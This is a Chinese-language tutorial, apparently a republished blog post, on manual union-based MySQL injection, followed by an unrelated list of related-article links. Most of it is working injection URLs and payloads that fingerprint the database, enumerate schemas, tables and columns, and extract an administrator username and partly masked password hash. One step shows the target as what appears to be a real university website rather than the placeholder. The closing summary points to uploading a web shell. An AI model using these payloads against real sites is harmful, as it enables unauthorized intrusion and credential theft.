mysql union as 注入_sql注入入门 之 mysql 常规注入 [ union方式 ]

1,常规数字型 mysql 实例注入点,如下:1https://www.vuln.com/md_materia_profile_view.php?viewid=2

mysql_comm1.png

2,依旧先尝试下经典的单引号,如下,虽然没暴露出明显的数据库报错信息,但我们发现,此时返回的页面已经异常了,经验判断,十有八九是个注入点,先不管那么多,我们继续1https://www.vuln.com/md_materia_profile_view.php?viewid=2'

mysql_comm2.png

3,我们再进一步确认注入点,可能表面一眼看去,也许你会认为它是个数字型注入点,其实,它是个字符型的,关于字符型的闭合比较简单,你可以选择把前后的单引号都闭合掉,或者你也可以选择只闭合前面的单引号,然后把后面多余的语句都注释掉也行,随你,只要能保证我们的语句能正常执行即可1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 's'='s 条件为真时,页面返回正常

mysql_comm3.png1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 's'='sk 条件为假时,页面返回异常

mysql_comm4.png1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=12 --+- 条件为真时,页面返回正常

mysql_comm5.png1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 --+- 条件为假时,页面返回异常

mysql_comm6.png

4,确认为真正的注入点后,我们就可以开始查询各种数据,首先,确定下当前表准确的字段个数,为后面执行union做准备1https://www.vuln.com/md_materia_profile_view.php?viewid=2' order by 28 --+- 为28返回正常

mysql_comm7.png1https://www.vuln.com/md_materia_profile_view.php?viewid=2' order by 29 --+- 为29时返回错误,确认当前表的字段个数为28个

mysql_comm8.png

5,有了确切的字段个数,我们继续执行union爆出对应的数据显示位(爆出对应数据显示位的目的,其实就是要把后续从数据库查出来的各种结果都显示到这些位置上,说的通俗点儿,我们查出来的数据在页面上总得有个地方放吧,要不然我们怎么看呢)1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 --+-

mysql_comm9.png

6,搜集当前数据库的各种相关信息,比如,当前数据库用户权限(这里暂时以普通数据库用户权限为例进行演示,关于root权限下的注入方法,后续还会有单独说明),当前数据版本,当前数据库名,目标操作系统类型,目标主机名,数据文件的存放目录,数据库的安装目录等等……实际测试中,不一定非要每次都把信息都查出来,只查对你有用的即可,这里纯粹只是为了大家方便,所以说的相对比较详细1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,user(),6,version(),8,9,10,11,12,13,database(),15,@@version_compile_os,@@hostname,@@datadir,19,20,21,@@basedir,23,24,25,26,27,28 --+-

mysql_comm10.png

7,对基本情况有所有了解后,接着就可以查出’所有’的数据库名了,当然,这里的’所有’并非真正的’所有’,它指的是当前数据库用户有权限看到的那些数据库,以此注入点为例,目前就只能看到 information_schema,homoeopathy_university 这俩数据库1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,group_concat(schema_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.schemata --+-

mysql_comm11.png

8,查出当前库中的所有表名,这里有个坑,不知道是不是group_concat()对查询结果有长度限制的问题,还是目标网站的什么原因,个人感觉应该是有限制(就像oracle中的wm_concat亦是如此),导致group_concat查出来的结果不全,如果表比较少,可能还没什么问题,假如有个一两百张表的情况下,用它就只能看到一部分,所以实际测试中,并不推荐group_concat()[顺便提醒大家一句,不要过于相信网上的一些文章,其实有很多人自己都没深入搞清楚,经常是以讹传讹,一定要多自己尝试,这样出来的东西,才能走心],很显然,这里就出现了这样的问题1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,group_concat(table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() --+-

mysql_comm12.png

9,所以,下面我就换成limit了,个人觉得用limit还是非常靠谱的,就执行效率来讲,个人觉得相比group_concat()要高一点的,虽然,用limit可能稍微要费点儿劲,不过还好我们有burpsuite帮忙,另外,有时候直接使用database()可能不太好使,可以把它换成上面database()的结果,然后hex一下基本就可以了1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() limit 0,1 --+-

mysql_comm13.png

10,当burpsuite跑到第142张表时,我们发现,这正是我们想要的网站管理表,表名为 ‘tbl_webmaster’1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.tables where table_schema=database() limit 141,1 --+-

mysql_comm14.png

11,既然管理表找到了,接着把该表中的所有字段名查出来就可以了,为了避免单引号的问题,我们还是要把该表名先hex下,另外,这里依然是用limit,查询过程中我们发现第四个字段是username(管理员用户名),第五个字段是password(管理员密码)1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.columns where table_name=0x74626c5f7765626d6173746572 limit 3,1 --+-

mysql_comm15.png1https://www.vuln.com/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from information_schema.columns where table_name=0x74626c5f7765626d6173746572 limit 4,1 --+-

mysql_comm16.png

12,现在用户密码字段都有了,直接把用户名和对应的密码hash都查出来即可,如下,防止有多个网站管理员,记得带上limit1https://www.homoeopathyuniversity.org/md_materia_profile_view.php?viewid=2' and 12=124 UNION SELECT 1,2,3,4,username,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from tbl_webmaster limit 0,1 --+-

mysql_comm17.png

13,最后查出来的账号和密码hash如下:1superadmin : e10adc3949ba59abbe56e057f*******

一点小结:

关于mysql的常规注入,其实整个流程非常的简单,无非就是’查权限,查路径,查库,查表,查字段,查数据,找到后台登陆传shell’,就其本身来讲并没有多少实质的技术含量在里面,这里纯粹只是为了让大家熟练mysql手工注入,加深对mysql注入的理解,这样万一以后遇到一些比较畸形的注入点,工具罢工,我们手工还依然可以上

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/340190.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

gradle docker_带有Gradle的Docker容器分为4个步骤

gradle docker_带有Gradle的Docker容器分为4个步骤

gradle docker您是否需要通过Java Web应用程序创建Docker映像？ 您在使用Gradle吗？ 如果是这样，那么您距Docker nivana仅4步之遥。 对于此示例，我将使用一个简单的Spring Boot应用程序。 您可以在我的名为galoshe的Github存储库中…
阅读更多...
mysql数据库连接关闭_解决mysql数据库连接自动关闭问题

mysql数据库连接关闭_解决mysql数据库连接自动关闭问题

MySQL是一个小型关系型数据库管理系统，由于MySQL体积小、速度快、总体拥有成本低，尤其是开放源码这一特点，许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。关于mysql自动关闭服务的现象，可以通过mysql服务器…
阅读更多...
python socket编程_Python学习记录-socket编程

python socket编程_Python学习记录-socket编程

1. OSI七层模型详解2. Python socket 什么是 Socket? Socket又称”套接字”，应用程序通常通过”套接字”向网络发出请求或者应答网络请求，使主机间或者一台计算机上的进程间可以通讯。 Python 提供了两个级别访问的网络服务： 低级别的网络服…
阅读更多...
REST / HTTP方法：POST与PUT与PATCH

REST / HTTP方法：POST与PUT与PATCH

每个HTTP请求都包含一个方法 （有时称为verb ），该方法指示对标识的资源执行的操作。 在构建RESTful Web服务时，HTTP方法POST通常用于创建资源，而PUT用于资源更新。 尽管在大多数情况下这很好，但使用PUT进行…
阅读更多...
判断frame是否已创建_类的创建

判断frame是否已创建_类的创建

1. 士兵 许三多 有一把 AK47 2. 士兵 可以开火 3. 枪 能够 发射 子弹 4. 枪 装填 子弹---增加子弹数量 class Gun:def __init__(self,type):self.type type# 刚开始枪没有子弹self.bullet_count 0def __str__(self):return ("%s 已到位" % self.type)def shoot(sel…
阅读更多...
mysql 安装盒子_Windows2008 装 MySQL 问题

mysql 安装盒子_Windows2008 装 MySQL 问题

昨天在2008里装MySQL，遇以了一些问题，装的是mysql-5.6.20-winx64.msi版本，不知道是版本太新还是兼容，还是系统权限配置问题，老是报错，多数是杂乱的错误，这里主要记一下MySQL的错误：安…
阅读更多...
@select注解_Mybatis基本知识十七：Mybatis注解式开发-单表注解式开发

@select注解_Mybatis基本知识十七：Mybatis注解式开发-单表注解式开发

上一篇文章：《Mybatis基本知识十六：查询缓存之第三方查询缓存》若文中有纰漏,请多多指正！！！1.前言使用Mybatis进行开发，不仅可以使用mapper配置文件进行开发，也可以使用注解的方式。映射文件中无…
阅读更多...
mysql主从切换机制torch_MySQL Replication设置(Master/Slave)实现主从复制

mysql主从切换机制torch_MySQL Replication设置(Master/Slave)实现主从复制

一、Master配置1、my.cnf配置# vim /etc/mysql/mariadb.conf.d/50-server.cnf[mysqld]log-binmysql-bin //[必须]启用二进制日志server-id140 //[必须]服务器唯一ID，默认是1，一般取IP最后一段2、重启mysqlsudo service mysql restart3、在主服务器上建立…
阅读更多...
junit测试线程_一个在自己的线程中运行测试的JUnit规则

junit测试线程_一个在自己的线程中运行测试的JUnit规则

junit测试线程有时，能够在单独的线程中运行JUnit测试会很有帮助。 特别是在编写与封装的ThreadLocal或类似对象进行交互的集成测试时，这可能会派上用场。 单独的线程将隐式确保每次测试运行都未初始化threadlocal的与线程相关的引用。 这篇文章介绍了提供…
阅读更多...
maven servlet配置_第一个Servlet配置

maven servlet配置_第一个Servlet配置

使用IntelliJ IDEA创建一个Simple Maven项目2. Add Framework Support3. 配置Tomcat打开菜单Run -> 选择Edit Configuration 如果侧边栏没有Tomcat，点击“”号 -> 选择“Tomcat Server” -> 选择“Local”，到此画面 ,Apply -> OK4. 在Tomcat…
阅读更多...
如何将四元数方向转化为旋转举证_是否有将四元数旋转转换为欧拉角旋转的算法？...

如何将四元数方向转化为旋转举证_是否有将四元数旋转转换为欧拉角旋转的算法？...

frodo2975..7我一直在寻找类似解决方案的几天,我终于遇到了这个网站,它有一个将四元数转换为任意Euler和Tait-Bryan旋转的算法!这是代码:///// Quaternion to Euler///enum RotSeq{zyx, zyz, zxy, zxz, yxz, yxy, yzx, yzy, xyz, xyx, xzy,xzx};void twoaxisrot(double r11, do…
阅读更多...
使用Spring Boot和DJL进行深度学习

使用Spring Boot和DJL进行深度学习

总览 这是Spring Boot上的另一篇文章 ，该文章将展示如何使用Deep Java Library （DJL）构建示例Web应用程序， Deep Java Library （DJL）是Java的开源深度学习库，用于诊断X射线图像上的COVID-19。 …
阅读更多...
ad域管理与维护_U-Mail邮件系统LDAP/AD同步极大提升办公效率

ad域管理与维护_U-Mail邮件系统LDAP/AD同步极大提升办公效率

每一位办公族，可能都遇到过这样的问题：1、随着信息化高速发展和企业“互联网”的深入，越来越多的办公平台和软件被开发出来，正如移动互联网端APP应用层出不穷一样，给人们带来了极大地便利性。2、凡事有利有弊&#xff…
阅读更多...
r java_如何在R中使用JAVA写的程序包？

r java_如何在R中使用JAVA写的程序包？

不过我对 Java 真的不太熟悉，按照教程调用这个 LLDA 包之后只会使用 inferencer。如果你不嫌麻烦可以考虑先用 Java 计算出结果，然后在 R 中载入这些结果.具体步骤如下：0 - 文件夹 JGibbLDA-v.1.0 放在 R 的工作目录下。1 - 用 JDK 和他提供的…
阅读更多...
c语言c99标准_C语言的灵魂指针，配合这个新增的关键字，能够生成更高效的程序...

c语言c99标准_C语言的灵魂指针，配合这个新增的关键字，能够生成更高效的程序...

正如我前面的文章提到的，C语言虽然已经比较成熟，但是近些年来也是有所发展的——比如增加了许多新特性。遗憾的是，可能因为C语言程序员的工资比不过互联网程序员，国内很多教材比较老旧，几乎不涉及近些年来C语言新增的新…
阅读更多...
java ee的小程序_Java EE 8 –为更多设备提供更多应用程序

java ee的小程序_Java EE 8 –为更多设备提供更多应用程序

java ee的小程序如果我不喜欢夏天的一件事，那就是事实是没有太多要分享或谈论的新闻。 谁决定将Java Day Tokyo置于今年的这个无聊的时间里，做得很好，并给了我一个写关于新的和即将到来的Java EE 8规范的博客帖子的机会，其中丰富了…
阅读更多...
java随机姓名_Java生成随机姓名、性别和年龄的实现示例

java随机姓名_Java生成随机姓名、性别和年龄的实现示例

一、定义实体类Person，封装生成的数据package net.dc.test;public class Person {private String name;private String sex;private int age;public String getName() {return name;}public void setName(String name) {this.name name;}public String getSex() {r…
阅读更多...
matlab 图像 幅度谱 低通滤波_数字图像处理期末复习2018-12-21

matlab 图像 幅度谱 低通滤波_数字图像处理期末复习2018-12-21

数字图像处理期末复习2018-12-21愉快先生0.204字数 5547 阅读 18342018-12-22 19:35(数字图像冈萨雷斯第二版教材)一、基本原理图像的读取、存储操作：i imread(filename) ; imwrite(i,’image.jpg’); 图像显示的⽅法及区别：imshow(i); imshow(i,[]);%0…
阅读更多...
带有HttpClient的自定义HTTP标头

带有HttpClient的自定义HTTP标头

在Apache HTTPClient请求中设置自定义HTTP标头的快速指南。 在HttpRequest上，调用setHeader（）方法以将HttpHeaders内容类型设置为JSON。 适用于各种版本的HttpClient（4.3之前和之后）。 1.简介 在本教程中，…
阅读更多...
java 递归深度优先遍历_Java基础 - 二叉树的遍历之深度优先遍历（递归遍历）

java 递归深度优先遍历_Java基础 - 二叉树的遍历之深度优先遍历（递归遍历）

package com.yc.test;import java.util.ArrayList;import java.util.List;import com.yc.tree.ThreeLinkBinTree;import com.yc.tree.ThreeLinkBinTree.Node;/**** author wb**遍历二叉树指的是按某种规律依次访问二叉树的每个节点，对二叉树的遍历过程就是将非线性结…
阅读更多...
最新文章

Copyright @ 2022~2023